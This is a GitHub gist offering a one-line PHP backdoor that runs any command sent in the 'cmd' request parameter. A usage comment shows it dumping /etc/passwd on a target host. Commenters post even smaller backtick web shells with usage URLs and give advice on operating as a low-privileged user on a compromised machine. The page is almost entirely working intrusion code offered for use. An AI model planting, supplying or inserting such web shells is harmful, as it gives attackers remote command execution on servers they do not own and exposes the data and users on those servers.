Skip to content

Instantly share code, notes, and snippets.

@sente
Last active February 22, 2024 04:35
  • Star 84 You must be signed in to star a gist
  • Fork 48 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save sente/4dbb2b7bdda2647ba80b to your computer and use it in GitHub Desktop.
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
@its0x08
Copy link

its0x08 commented May 12, 2020

A smaller one!

<?=`$_GET[_]`?> 

pico webshell

@V35HR4J
Copy link

V35HR4J commented Nov 17, 2021

@NaheelSalman
Seems like you are low privellaged user, so your are not able to make directory on /root
you can try making one on /tmp

@NaheelSalman
Copy link

@NaheelSalman Seems like you are low privellaged user, so your are not able to make directory on /root you can try making one on /tmp

got it

@sultanzio
Copy link

sultanzio commented Jul 13, 2022

A smaller one!

<?=`$_GET[_]`?> 

pico webshell

Alternative

<?=`$_GET[0]`?>

localhost/shell.php?0=ls

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment